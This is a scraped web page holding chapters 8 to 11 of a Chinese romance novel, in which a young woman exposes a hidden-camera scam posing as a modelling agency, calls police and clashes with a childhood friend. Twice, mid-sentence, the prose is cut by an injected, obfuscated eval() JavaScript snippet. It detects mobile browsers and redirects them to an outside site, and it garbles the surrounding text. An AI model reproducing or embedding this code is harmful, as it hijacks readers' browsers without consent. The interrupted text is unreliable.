“欧呦小姑娘不要这么用力哈,车门摔坏了车子也开不了的。” “……抱歉啊师傅,我等下注意。” 许知棠讪讪地道歉,然后意识到自己像被踩到尾巴一样地冒火,其实是被戳中了痛处。 如果她没有觉醒,发现自己是一只小猫咪的话,现在很有可能真的已经被何松砚劝回了云川。 意识到这点,她的恼火就变成了一阵沮丧。连带着反思自己,语气是有点太冲了。 可是她连朋友都算不上吗?沦落到一个“异性”的代号,也太…… 太冰冷了。心好硬。 蒋谌没再回复消息。她就也不尴不尬地僵在那里,不知道该说什么。 她住的酒店距离的地更近。下车时离岸正好发来消息,大约还要十来分钟。 许知棠就先进餐厅入座,一只手翻开菜单,按着手机发了条语音,“宝宝我到餐厅了,你慢慢来哦,不着急。” 她认真看完菜单,又听完服务生推荐,根据对方的口味点了菜,手机屏幕才弹出一条新消息。 是蒋谌发来的。 【不是让喝西北风么】 8. 第 8 章 许知棠不可思议地点开看,反复确认,是他发来的。 尴尬无声蔓延。 虽然但是,他怎么还回了? 脸皮还挺厚。 她迅速调整好心态,本来就还在不爽蒋谌没把她当朋友,当然不能放过这个嘲讽的机会。 【不好意思,在跟姐妹约饭,发错人了】 【谁会随便和异性讲这种话:)】 尴尬不会消失,却可以转移。 许知棠心气稍顺,给自己和小姐妹倒了茶水,余光扫着屏幕,期待他发现自作多情然后被尴得哑口无言。 可蒋谌很快又回复了她。 【最好是发错人】 【差点以为你这么快又闯了祸,才找我】 什么意思,以为她是那种有求于人就可以立刻翻脸谄媚的货色?! 许知棠气得坐不稳。一定是离职这半年把定力养退化了,她以前在医院里被拎不清的病人家属指着鼻子骂,都没这么容易上火。 恰好这时,何松砚发消息问她怎么没收转账。 【还在酒店睡懒觉?该起来吃午饭了】 许知棠若有所思地敲着桌面,没有收下这笔钱,而是找陶悦救急。 【江湖救急!v我一万】 陶悦给她转了两万。 【拿着花,姐有点小钱】 她回了一长串爱心表情包,反手把钱转给蒋谌。 【[转账]拿去】 【?】 【不随便住异性开的房】 舒服了。 许知棠自信吵架和阴阳怪气这一块,从小到大都没有对手。只是何医生从来都以理服人,怎么吵都显得是她一个人在无理取闹,多少是有点埋没天赋了。 手机刚放下,她瞄到门口的人影,立刻精神地坐直了身体。 她没见过离岸真人,对方从不像她一样在网上发自拍照片。但是看到迎面走过来的女孩,许知棠还是第一时间就认了出来。 带一点婴儿肥的圆脸,戴着眼镜没有化妆,t恤打底,格子衬衫加牛仔裤和运动鞋,非常有标志性特色的程序员穿搭,把好身材完全隐藏。 “一只棠?”方芷拘谨地停在桌边,眼神询问。 许知棠快要流泪了,站起来给她一个大大的拥抱,“此生无憾了。” 网友奔现,彼此交换姓名。许知棠贪心地把餐具挪到同一边,两个人挨着坐,能闻到她身上清爽的皂香。 方芷听人讲话总是习惯性地低着头,微微脸红着,因为是素颜,所以能看出皮肤非常好,牛乳般细腻的白,一点不像是网络民工会有的气色。 被她狂夸皮肤好,方芷不好意思道,“其实我在老家休息了两个月,才过来面试上班的。现在的工作刚入职,同事说以后经常需要加班,等再过段时间,估计我脸色也不会太好看了。” 许知棠怅然若失,“那是不是更新跳舞视频的频率也会变低呢。” 第一次在现实世界里跟人聊起这个,方芷更不好意思了,“我尽量,有空就会更的。” 她本人非常容易害羞,线上线下反差巨大。许知棠就这样轻易地爱上,一起吃完饭又去逛街,在手作店里买了漂亮的手绘瓷盘送她。 “谢谢,我也想送你礼物,但是我审美一般,所以就做了一个小程序送你。” 方芷拿手机教她,“我用你的照片和体型数据做了个模型,以后你在网购衣服的时候,可以把图片导入这里,就能生成你本人穿这件衣服的效果图。” “好方便!” 许知棠又一次爱上,“这还有别的功能呢,好复杂啊,是不是很花时间?” “还好。”她说,“你喜欢就好啦。” “我一直就觉得学理工科的女孩特别牛,特别是互联网公司里干技术岗的。”许知棠朝她眨眨眼,“怎么样,新工作还顺利吧,遇到那个谁了么?” 许知棠听她说过,想来海市工作是因为暗恋的人就在这里。而她已经成功入职了暗恋对象所在的公司。 “还没有遇到呢。”方芷说,“公司挺大的,永远遇不到也有可能。” “早晚的事。之后遇到了别忘记跟我讲进展喔。” “好的。”她点点头,欲言又止。半晌,问出一句,“你还好吗?” “嗯?我很好啊。”许知棠没太明白,掏出小镜子补了下妆,“时间差不多了,我们去秀场吧。” 她们到得早,脱口秀场的票没有固定座位。方芷主动提出跟她去前排。 前排的观众很大概率会被演员挑到互动,是社恐人士避之不及的位置。许知棠有些惊讶,但她自己当然是想玩的,就接受了这份好意。 因为漂亮得突出,开场后她果然被台上选中,连带着身边的朋友也未能幸免。 方芷脸红了半场,像害怕被老师提问的学生一样紧张。终于被cue过以后反而放松了许多,下半场笑得很开心。 许知棠觉得她很有趣,好像在努力克服社恐。直到散场后,又听她问了句,“你还好吗?” 许知棠终于意识到有哪里不对。交换信息后才发现,“你以为我得了癌症?!” “是啊,因为你说,你马上要去很远的地方。”方芷一脸老实,“就和小时候有长辈离世,大人会对小孩说的话一样。” “这事说来话长……” 许知棠正为难,忽地被散场后追逐嬉闹的孩子撞了一下,不悦地侧身,见他们还在头也不回地继续往前冲,“小心看路啊!” 前方一对情侣正边走边看刚拍的照片,没防备有人横冲直撞。擦身而过之时,女孩的长卷发被勾住,连同帽子一起飞了出去。 “喂!”她的男友立刻呵斥,往前追,“站住!” “你别……”女孩被留在原地,想追上去,却又好像被周围投来的目光踩住了脚步,不安地左顾右盼,进退两难。 仓皇无助中,一顶印着脱口秀slogan的棒球帽落在她头顶。 “出口商店里买的周边,还没戴过呢。送给你啦。”许知棠朝她笑笑,“我们刚才都在第一排,很有缘分。” 她怔怔地看着两人,一只手按着帽子,眼眶红透,“谢谢你们。” 男友很快带着假发和帽子跑回来,身后还跟着小孩的家长,不太情愿地向她道歉。 她坚持要几个小孩过来,挨个道了歉才能接受。等人走之后才委屈地哭出来,捶了男友一拳,“你跑什么啊!假发重要还是我重要!” “我这不是担心……”男友瞄到她头顶的帽子,才反应过来,也向两个女孩道谢,“要不请你们喝个东西吧。” 许知棠用目光询问朋友。方芷摇了摇头,小声说,“我就不去了,叫的车快到了。” 许知棠午餐时跟她说了,晚上还要见另一个朋友,所以两人说好在脱口秀散场后分开。 出租车停靠过来。她对了一下车牌号,“那我就先走了。” “好,到家给我发个微信。”许知棠目送她上车,看小情侣里的男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661107|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩有点笨手笨脚的样子,就又主动对女孩说,“这个我帮你戴吧,洗手间离得不远。” 这半年她在家捣鼓变装视频,也买了好几顶不同长短的假发,穿戴手法堪称娴熟。给女孩戴好,又拿出随身带的小梳子,帮忙把长卷发梳顺。 打理到满意后,她顺手对着镜子给自己梳几下刘海,才发现女孩在镜子里看着她泪流满面,“你都不问我,为什么这样吗?” “嗯?”许知棠中肯地说,“你光头也很美啊。脸在江山在,不挑发型。” 她被逗笑,抬手擦去眼泪,“本来想着……反正化疗会掉光,就让男朋友给我推了。但我还是没习惯自己这样,不小心看到镜子都会吓一跳。” 她很瘦削,细手指上戒指晃荡,肤色对比脸上也明显偏黄。许知棠其实发现得很早,出于职业经验,只是不忍心先开口。 “是胰腺癌吗?” “……是的。” 女孩面露惊讶,“你这么懂啊,是学医的吗?” “在医院当过几年护士。”她顿了顿,“我爸爸去年走的,也是这个病。” “原来是这样。”女孩似乎懂得了她难言的苦痛,张开细瘦的手臂拥抱她,笑着说,“那再过一段时间,等我见到他,还可以帮你带话呢。” 许知棠的眼泪也冒了出来。 她的确很了解,所以无法违心地说“一定会好的”之类无用的话。胰腺癌是预后最差的恶性肿瘤之一,生存率非常低,晚期病情发展也就是几个月的事。 直面死亡的勇敢无法想象。就连面对他人的死亡,都需要莫大的勇气。 傍晚时分,许知棠告别了萍水相逢的小情侣,在附近独自找了间咖啡厅平复心情。 父亲去世后,她就从家里搬了出来,重新租了套公寓,基本算是和何松砚同居生活。 她是很害怕寂寞的人,从小到大都没有独居过。看别的姐妹一个人住很潇洒,偶尔也会向往,但想想还是舍不得跟家人分开。 在那场大灾疫降临之前,她有个吵吵嚷嚷又很和睦的家庭。妈妈常跟她吐槽,以后千万不能找像爸爸一样游手好闲的老公。爸爸总是笑眯眯的不反驳,说小宝以后找对象,当然是要找比他好的。 何松砚很受他的喜欢。如果妈妈还在,肯定也会满意的——高知家庭,长相出众,人品端正,工作稳定,哪样拎出来都是长辈青睐的优点。 当然,他们最爱的还是小宝。 她的爸爸虽然在生活上不太靠谱,却一贯都很支持她做任何事情。就算知道她不想上晚自习、不想留在医院工作、不想结婚生子、哪怕是不想当人了,他都会笑眯眯地说支持。 如果他还在的话。 许知棠倚靠在窗边,漫无目的地刷手机,看到在一众表白,骚扰,诈骗,要链接的私信里,有一条模特公司的经纪人打招呼的内容。 她有了些精神,点进去聊了几句,聊得很投机。对方表示公司摄影棚就在这个区,离她非常近,有空的话现在就能过去参观,顺便面个试。 “辰野……”保险起见,她先把公司发给了陶悦,托朋友帮忙问问。 没过几分钟,陶悦回复她,“是不错的公司诶。业内小有名气,跟你的风格也相似,感兴趣可以去试试。” 许知棠放下心来,添加经纪人微信,问到了详细的地址,下滑列表时看到蒋谌没有收她的转账。 几乎是同一时间,蒋谌的微信发了过来。 【结束了么?晚上几点见】 9. 第 9 章 另一边是经纪人的热情邀约。两条消息一上一下排列在眼前,许知棠有些迟疑。 但她最终还是选择回复蒋谌。 【晚上我要见别的朋友】 在变成小猫咪之前,她还有自己身为人类的梦想尚未实现。 她想拍出一套令人记忆深刻的片子。她没有那种“成为举世闻名的模特”的野心,只要拥有能被人深深记住的作品,就算没白来一趟。 况且还离得这么近。机会正好,许知棠决定去一趟。 辰野的经纪人是个瘦高的年轻男人,戴着眼镜,按照线上沟通好的,殷勤接待了她。 两个人一边聊天一边进去参观,确实是专业的摄影棚,有模特正在拍摄。鼓风机吹得长发飘飘,根据引导在镜头前摆出品牌需要的动作,化妆师和摄像师看起来都很有水准。 经纪人言谈中表达出对她的看好,“我们公司的风格跟你个人形象气质挺契合的,如果我能做主的话,肯定直接就签你了。不过我不是老板哈哈哈,面试的流程还是要走的。” 许知棠点点头,“就在这里面吗?” “在旁边,我们有单独的工作室来做商务沟通。哦,还有一位来面试的姐姐正在路上,大概几分钟就会过来。”他说,“面试需要统一着装,还要全程录像。可以接受吗?” “可以。”许知棠说。 她今天穿搭是oversize风格,来得临时没空回去换衣服,确实不符合面试要求。经纪人带她到旁边的工作室,另一位面试者很快也到了。 片刻聊天后,经纪人带两人到更衣室,给了她们一人一套黑色背心和短裤,都是常见的普通款式。 许知棠挑了个隔间正准备进去,余光扫过身边犹豫的人影,还是没忍住回头攀谈,“小程姐,你不进来换衣服吗?” 平心而论,程欣的条件比她还好,个高腿长,细细的一条人,还长了张高级的模特脸,只是神色憔悴忧郁,整个人看上去很不自信。 “要不我还是算了吧……” 程欣纠结地攥着衣服,“我都这个年纪了,算了,我孩子还在邻居家里,算了……我还是早点回去……” 她语气忌惮,似乎顾虑很多。 许知棠也只比她小三岁而已,闻言不由得劝道,“来都来了,试试吧,就当是积累经验。你条件特别好,真的,不做模特太可惜了。再说做模特也不看年纪,看的是状态。你只是没休息好,调整一下绝对可以的。” 程欣却摇头,“就算面试上了,我老公也不会同意的。我今天是趁着他出去跟朋友喝酒才偷偷出来,要是被他发现,一定不会有好事……还是算了,算了。” “我男朋……呃,前男友也不赞成我做模特。”许知棠安慰她,“但是没关系啊,自己喜欢最重要对不对?拍片的又不是他们。你都来到这里了,心里肯定是很喜欢,很想做的。” “是,其实我结婚前就很想做模特,”她终于动容了,“可我都生过孩子……” “生过孩子身材还这么好?”许知棠笑着把她推到旁边的隔间,“是要嫉妒死谁啊。” 看不得别人梦想受挫。许知棠比经纪人还积极,好像并不是她的竞争对手,而是她热情的闺蜜。 程欣情绪放松了些,边换衣服边跟她说,“我是已经习惯当妈妈了,好多年没工作,光是来这些地方走一走都觉得不适应。要是能面试上也好,多个办法补贴家用,也可以给我的孩子买点好的衣服和玩具……” “那很好嘛。”许知棠应着,脱掉短裙,无意之中被什么东西闪了一下眼睛。 她的动作一下子停住了,抱着衣服仔细寻找反光的位置,发现门把手旁边有个小小的圆孔,很不起眼。 无数小说电影和安全宣传片在脑海中闪过,炸开。她猛地提高声音,“小潘姐你等一下!先不要脱衣服。” “怎么了?我快换好了。”程欣不解。 许知棠迅速穿回衣服,到她隔壁的换衣间里检查门把手,果然也有个小圆孔,细看边缘不太规则,很大可能是后来被人为凿开的。 “这好像是微型摄像头。”许知棠声音发抖,肾上腺素飙升,“不行,我们得报警。” “报警?!”程欣被吓了一大跳,攥住她的手,“要把事情闹得这么大吗?不然,不然我们不面试了,别报警,我们马上走!” “可这里的摄像头不知道拍过多少女孩子,放着不管只会有更多人遭殃。”许知棠比了个嘘声,“没事的,我们就在这里面待着,等警察来了就安全了。” “要不我们先离开这里,然后再报警呢?”程欣害怕道,“万一他们报复我们怎么办?” 正在这时,更衣室的门被敲响了。门外等候的人似乎已经察觉端倪,“还没好吗?怎么还不出来?” “马上就好!”许知棠朝门外喊,“小潘姐内衣带子卡住了,我帮她一下。” 脚步声徘徊了一圈,渐渐远去。她稳了稳心神,抽出手拨通110,“等我们走了,他们销毁证据怎么办?现在出去也未必就能安全地离开。别怕,我们待在这里面等警察,先把门反锁上。” 程欣只好听她的,把更衣室的门锁上,还是不放心,又拉了两把椅子堵在门口。 许知棠在电话里把摄影棚的位置说得很详细,但后来她们被带到的工作室在另一栋楼,天都黑了,她无法判断准确位置,只能说是在附近。 接线的民警在电话中安抚她们,保持冷静等待救援。她不敢挂断电话,又安慰程欣,“我查了地图,派出所离这里只有两三公里的距离,很快的。” 话音刚落,刚才门外徘徊的人又折返回来,似乎跟谁交涉过,已然变了副嘴脸,带着戾气不耐烦地威胁,“开门啊!你们两个躲在里面干什么?再不开门就让人撞开了!” “我们已经报警了!”许知棠大声喊,“警察马上就到,你们敢动一下试试!” “……” 门外安静了一瞬。下一刻,门板被大力砸响,“开门!臭婊子装什么,把门打开!” 程欣浑身一震,仿佛那拳头就真切地砸在她身上,脚软瘫倒下去。许知棠连忙抱住她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661108|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫不示弱地跟外面对骂,“滚啊!偷窥狂装什么正经公司,倒闭吃屎去吧!” 门板响得更激烈了,伴随着污言秽语,堵在门口的椅子都被震得歪倒在一旁。 许知棠听到外面的人已经在踹门,焦灼地环顾周围,半托着程欣往里走,“我们去最里面的隔间躲一躲。” 万一门真被撞破,至少还能再拖延点时间。 把隔间的门也反锁,不到两平方的狭小空间里,两人紧紧拥抱在一起。 撞击声隔着两道门板,像一道道不详的闷雷,不间断地传来。时间被恐惧无限延长,十分钟像过了十个小时那么久,久到许知棠都觉得今晚说不定真要遭殃。 某一时刻,令人胆战的动静忽然停止了。 她听见外面有沉静严肃的声音响起。 “你好,我们是关西区派出所民警,刚才是您报警说在更衣室发现疑似摄像头吗?麻烦出示一下身份证。” “是我们!我们在更衣室里面!” 她立刻拉起程欣,冲出隔间大喊,“我们在这里!” 直到确认外面是真的有警察控制了局面,她们才终于敢打开门,配合调查。 民警按她们说的排查了现场,果然发现了隐藏式摄像头。两人都没触碰过,避免了证据被破坏。 接下来是拍照录像,拆除后带回所里做进一步的鉴定。许知棠两人一起回派出所做笔录,下了车头皮还在发麻,脚步发飘,“我还是第一次坐警车……” 程欣很小声,“我也是……” 办案的民警被她俩逗笑,“小姑娘很勇敢嘛。进来吧,给你们倒杯水喝,压压惊。” 这一连串事情发生,收尾时已经过了晚上九点。程欣没办法回去,只能在做笔录时打给老公,叫他先去邻居家接一下儿子。 许知棠听见手机里传出谩骂声,心里有些难受。 “没关系,习惯了。”程欣笑笑,“我就知道,所谓的追逐梦想,肯定没那么容易。” “嗯……” “你不跟家里打个电话吗?天这么晚了,叫家人来接你吧。” 许知棠这才想起看手机,“好像没电了。” “用我的充电宝吧,”程欣在包里找,“我带了。” “谢谢。”她接过来给手机充上,几分钟后开机,看到许多个未接来电。 有陶悦的,何松砚的……居然还有蒋谌的。他只打了一个电话,时间是在两分钟前。 许知棠心想何松砚本来就不赞同她干这行,发生这种事更不能让他知道了,于是决定先回闺蜜的电话。 还没拨出去,蒋谌的第二个电话就打了过来。她下意识地接了,“……喂。” “在哪?你朋友找不到你,电话打到我这来了。” “……” 许知棠坐在派出所的排椅上,不知道该不该说实话。 就在这迟疑的两秒里,蒋谌已经洞悉了她的念头,“许知棠。” 他的声音带着显然的不悦,压迫感隐约传来,“你是不是在想,要怎么对我说谎?” 10. 第 10 章 被戳穿的感觉简直一秒梦回儿时。许知棠无法反驳,听出他意思是要过来,只好报了派出所的位置。 她又打给陶悦,“你也太神通广大了吧!怎么才半天没联系,就找我找到蒋谌那儿去了?” “姐有点人脉。” 接到电话,陶悦松了口气,“乖乖,你平时不上班消息都秒回的,这个点联系不上就很奇怪啊!又是自己在外面,万一出了什么事我当然是找他最快。” “确实遇到一点小意外,不过我没事,”她只来得及匆匆说了两句,就听见门口又吵闹起来,“……待会儿回酒店跟你细说。” 程欣的老公先到了,两个人在派出所门口拉拉扯扯,还没走到跟前就先闻到一股酒气。 “孩子也不管,每天只想着往外跑,到底是想骚给谁看?” 男人操着北方口音,满脸酡红,丝毫不在意旁人的目光,羞辱的话混着唾沫星子喷出来,有如家常便饭,“还在做你那个傻逼梦是吧,挣到钱了吗?怎么做到警察局里来了?还不听我的,没有我你什么都不是!” 程欣气得身体打颤,隐忍地咬着嘴唇。 许知棠上前两步扶住她,忍不住开腔,“喂你讲讲道理好不好,你老婆被偷拍是受害者诶,朝她发什么酒疯啊?” “你又是个什么东西,这有你什么事?” 男人丝毫不在意她的斥骂,浑噩的眼神将她上下打量了一番,露出别有深意的眼神,“你就是她说的做模特的朋友?像你这种女的,赚钱应该很容易吧?” “……” “你够了!” 程欣难堪地喝止他,把许知棠拉到身后,“有什么胡话回家说!我又没有让你来找我,就是托你早点回去接孩子,你来这儿干什么?” “我想上哪上哪!怎么还得听你的话,反了天了?”他被激怒,人来人往的地方居然动起手来,一把揪住程欣的头发往外拖,“再跟老子顶一个试试?” 许知棠震惊了,怒火往头顶直冲,“放开她!” 她长这么大,身边就没见过会跟老婆动手的男人,简直是岂有此理。却一点也不知道怕,小牛犊子似的使劲顶着人往外推,故意喊,“你别以为婚内家暴就可以为所欲为,这是犯法!我们照样能请律师告你!” 她期望能引起路人和辅警的注意,起码多个人来帮忙拉架。可大家都只是在观望。 程欣被她夺了回来,有些站立不稳,惊魂不定地半抱着她,“别,别跟他打……” 或许是被两个女人撕扯伤了面子,男人的脸被怒气涨得更红,不耐烦地撞开许知棠,再次把人扯出来,猛地甩手扇了她一巴掌,“贱货!” 程欣被打懵了,披头散发的倒下去喘气。眼看他又举起巴掌,许知棠惨白着脸大声呼痛,“啊我手断了!完了肯定骨折了!” “操,讹人是吧?”他醉得没那么厉害,自己知道使了多大的力气,恼羞成怒又举起手,不料半空中被人钳住,踉跄地往旁边歪倒,“……干什么?你谁啊!” “她的律师。”蒋谌松开手,冷冷地睨着,语气不明显地起伏,“在派出所门口闹事,挺会挑地方。” “《治安管理处罚法》第四十三条,殴打他人或故意伤害他人身体涉嫌故意伤害,处五日以上拘留并处二百元以上罚款。需要调监控还是直接自首?” 他的语速很快,却又很稳,字字清晰笃定。所有人都安静下来。 许知棠双眼发光,大声宣布靠山已到:“哥!你终于来了!” “……” 男人张了张嘴,想反驳,找不到理由。又看许知棠捂着胳膊,不知道是不是真把人伤着了,脸上的尴尬变成了慌乱,下意识往后退半步,“……关你们什么事,我是来接我老婆回家的。”说完也不管程欣,自己坐在路边的电动车上骂骂咧咧。 许知棠赶紧把她扶起来,检查脸上的伤。巴掌印已经肿起来了,头绳也被拽断。许知棠拉下手腕的皮筋给她绑头发,除此之外也没有什么能做的,心里又气又急。 蒋谌看她活蹦乱跳,“伤哪了?” 许知棠立刻蹦到他身边,踮脚拉了他一下,用手遮着嘴巴小声说,“哪里都没受伤,我刚刚是吓唬他的。” “……” 民警这时才从审讯室出来,找到两人,“根据初步核实,这很可能是一起团伙作案。他们假借辰野的名气骗女孩线下进行面试,实际跟模特公司没有任何关系。” 辰野的办公室和拍摄棚不在一个区。骗子就利用了这一点,领她们去看的确实是辰野的摄影棚,但旁边所谓的签约工作室,是自己租来行骗的。 “他们这么干不是一次两次了。现在已经立案了,后续可能还需要两位补充信息。” 许知棠想要他们现在立刻马上就接受处罚,可调查还需要时间,她也只能拿着报警回执单回去等消息。 可她还放心不下程欣,“你就这么跟他回家能行吗?那种人你还要他待在一起啊。” “我儿子还需要人照顾。怎么敢指望他?”程欣很淡地笑了笑,“今天谢谢你啊,妹妹。但是我的情况很难说清楚,你别担心我了,跟你哥哥回去休息吧。” 蒋谌皱眉看着,她隔着车窗又嘱咐程欣说发生什么事随时打电话。恨不得跟到人家家里去主持正义。 停车位离派出所门口有一段距离。他下车就听见吵闹声,再跑慢两步她也要跟着挨巴掌了。就这还往上凑呢。 直到坐进车里,她还没心没肺地对蒋谌说,“你刚才突然冒出来还蛮帅的呢。” “……” 蒋谌的脸上写满了无语,心情十分糟糕。但想着到此为止,只瞥了她一眼,“别跟我说话。” 事情刚完,许知棠好不容易放松几分钟,可忍不了这种看傻子的眼神。感觉他这个人也是有点神经的,“不说就不说,你凶什么啊。” “我凶?” 他莫名被指控,面无表情地嗤笑,“好,那我问问你。以一个成年女性的生存本能去想,在一个完全不了解地形的城市里,什么样的面试需要你深更半夜去一个完全不了解的公司,甚至瞒着朋友独自参加?你有没有考虑过撒谎的后果?” “……” 许知棠没想到他开口语气会这么恶劣。跟这两天的克制疏离相差甚远,分不清孰好孰坏。 可还没完,他接着又说,“那女人你也不过刚认识,卖个惨你就管上了。就不怀疑那对夫妻也是犯罪团伙的成员,在你面前演戏?自身难保了还要管别人家的闲事,人家跟你有什么关系啊许知棠,你是不是只长个子不长脑子!” “你才不长脑子!我又没有惹你,你骂我干什么?” 许知棠被骂得满头问号,气到眼泪开始打转,“我这不是都已经把问题解决了吗,又没有出事!再说,别人也没你说的那么不堪好不好,程欣就是很可怜啊,出门在外遇上了我帮一把怎么了?难道要眼睁睁看着她被欺负你才高兴吗?你怎么变得这么冷漠啊蒋谌!” 小时候帮她养蝌蚪救流浪猫,跟她一起扶老奶奶过马路,往捡垃圾的爷爷家里送废纸壳的蒋谌怎么会说这种话! “满世界可怜的人多了。你是观音下凡圣母转世?” 蒋谌不仅擅自变成了她不理解的样子,甚至还嘲讽她,“是不是还觉得自己很善良?很机智?” 许知棠说:“我本来就很善良机智!” 真是讲不到一起去了。许知棠心想从见面到现在,他跟她说的话加起来都没有骂她这会儿说的多。到底是在看不起谁啊。 被冷落推拒的委屈在这一刻爆发。她不想忍耐了,“我知道,你从一开始就不想见我对不对。你看到我一点都不高兴!” “我也知道,你今天根本就没有事情要忙,周末在家里睡大觉而已。一直说没空就是不想理我!那你直说就好了啊,今天晚上也可以不用来管我,干嘛像这样来了又骂人!” “……” 蒋谌怔了怔,语气依旧冷硬,“我有什么义务一定要管你。” 这句话像刀子嗖地扎穿她,心都凉透了。许知棠抹掉 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真正关心她的朋友怎么会连句温柔的安慰都没有,上来就劈头盖脸地给她一顿骂? 她越想越委屈。虽然来这里是有目的没错,但她也同样抱着跟蒋谌修复友谊的憧憬。 现在憧憬全被打破了。 她不喜欢现在的蒋谌,一点人情味都没有,跟以前比像换了副心肠。让人根本就不敢和他做朋友。 她就快要走到酒店门口。蒋谌看见她没直接进去,而是过了马路,去对面的银行。 许知棠在ATM机上取了现金,气势汹汹地重回车边,敲了敲他的车窗。 蒋谌直觉没好事,但还是想看看她要干什么,遂冷脸降下车窗。她也绷着脸,目光凶狠地把手一扬。刚取的现金扔进车里,纷纷扬扬像下了场粉红雨。 “拿走!什么破异性。”许知棠趾高气昂,“我又不欠你的!要不是因为……我才不会来找你玩!” 她受了气是一定要报复回去的,闷在心里只会越想越难受。扔完就明显好受很多,蹬着过膝长靴嗒嗒嗒地走了。 蒋谌这辈子第一次被人用钱砸,胸口起伏,心情实在精彩。坐在车里看着她走进大堂,良久,歪了一下头。两张钞票就从他头顶滑下来,飘起一阵崭新的油墨味。 姚一尧打来电话的时机不太妙。 “我明天晚上请你们吃饭呗!地方你定还是我定?你问问喜之郎想吃什么。” “你自己跟她说。” “啊?” “吃什么吃?”蒋谌脚下踩着层层叠叠的百元大钞,冷笑,“人家稀罕你那一顿饭吗。” 真没见过这样的人,起码有多少年都没见过了。想一出是一出。 他也是有病。明知道会吵起来,又不可能几句话就让她改了性格,忍忍不就行了吗,话那么多干什么? “诶你这人,朝我发什么牢骚啊。怎么这么快就吵架了?”姚一尧没想到看上乐子了,冒死进言,“能把你气成这样。不愧是她,这么多年功力不减啊。” “滚。” “不呢。我这就叫她,明天晚上一块儿吃饭啊!你一定得来。” 他转头就给许知棠发微信约饭。 许知棠昨晚上听蒋谌提过,虽然当时心不在焉,但还是听进去的,不意外地答应了,然后继续跟闺蜜吐槽。 “我真要气死了。他完全不安慰我,还骂我蠢!” 她刚跟陶悦讲完派出所的来龙去脉。发现摄像头已经不再是今晚的重点了。她的重点是对现在的蒋谌表示失望,“你说这个人到底有没有心啊,就算有也是冰窖里冻了八百年的石头,又冷又硬。” 陶悦感到有趣,“这么说,你预设他应该对你很好吗?为什么?” “因为我们就是很好啊!” 她脱口而出,自己也愣了一下,才又说,“我们……以前,是很好的。” 11. 第 11 章 即使日常联络戛然而止,她的体感温度依旧停留在过去,总还觉得两人是很好的朋友。连跟别人提起,都会很骄傲的那种朋友。 然而许知棠悲伤地发现,还念着旧日的情谊只有她自己。蒋谌并没有以同样的眼光看待她,擅自变成了一个冷冰冰的人。 “也怪我。要不是我早早跟你打包票说辰野没问题,你也不会轻易去面试,上了人家的套。放心,这口气我肯定替你出。”陶悦对她说,“正好我有个项目要谈,顺便过去找你玩两天。”晚上找她就是为了说这个。 “你要来啊!太好了。” 原来晚上找她是要说这个。这时候太需要有朋友在身边了,许知棠迫不及待想见她,“明天什么时候到?我去接你,反正我自已一个人没心情玩。” “中午到。你就好好睡一觉,睡醒了收拾收拾正好跟我去吃大餐,再换个带温泉spa的酒店好好享受一下。” “好!” 许知棠说,“不过换酒店就不用了,我住得也挺好的,你来找我啊。”不住完太浪费,毕竟她可是花了钱的。 “也行,反正就待两天。”陶悦不拘小节道,“那我让助理把房间取消,你把你那儿的地址发来。” “收到收到。” 许知棠心情迅速转晴,只顾高兴,都没想起问她要怎么出气。 晚上兵荒马乱的,否则她看完脱口秀回来应该在修图准备发朋友圈。倒是有另一个朋友也发了周末这场的repo,她仔细一看,是来时地铁上遇到的那个女孩。 她们看了同一场脱口秀,只是没遇到。好巧。 许知棠点了个赞,洗澡护肤睡得昏天黑地。 隔天去机场接到陶悦,两人坐上车直奔关西。她原本要问中午吃什么,不料到车门一打开,居然是昨晚她被骗来面试的园区,“……来这里干嘛?” “跟我走。”陶悦带着她上二楼。前一晚骗她来面试的经纪人还在派出所拘留着,办公室里只坐了两个无所事事的员工。 她们径直去了经理办公室,里面空无一人,“你们老板在哪?” “他不在这办公。”其中一名员工狐疑地问,“你们这是……” “那太好了。” 陶悦盈盈一笑,脱了价值不菲的风衣随手撂在一边,拿起摆放在旁边用来装逼的高尔夫球杆,动作标准地抬手抡圆,“去你妈的诈骗犯!” 电脑屏幕直接爆开,碎片飞溅。 许知棠目瞪口呆地看着她,嘴巴张圆。 “愣着干什么,说了找你跟我一起玩儿啊!”陶悦大笑,高跟鞋踩碎地上虚伪的“模特经纪人”工位牌,“给我砸!照十万砸!” 花盆被她两棍敲裂,发财树的土漏了一地。许知棠心跳加速,那股子“人生只活一次”的冲动劲儿也蹿了上来,不管三七二十一抄起球棍一起砸。 “骗子!偷窥狂!变态!” “……” 两个员工抱头躲到办公室外去,不敢劝也不敢拦,看她们的表情像看着两个疯子。 等她们过足了瘾,脚下踩着一片狼藉。陶悦优雅地撩了一下头发,略微冒汗。那张脸容光四射,美艳不可方物,“报警吧。” 她们没伤人,砸的也不是什么贵重东西,等警察介入调解顶多就是赔点钱——她来之前都问过律师了,很好解决。 巧了么不是,姐有点小钱。加上认错态度良好,很快就放人了。 短时间第二次来到警察局,许知棠做出总结陈词,“冲动消费了又。” “不冲动,这叫有预谋……不对,有预算地消费。”陶悦心气已顺,挎着她招手叫车,“这点钱还不够我买个包呢,爽一下值了。走,找个按摩店放松放松,抡半天,别再累着膀子。” 两个人去按摩店吃吃喝喝聊八卦,按完舒服得又睡了一觉。 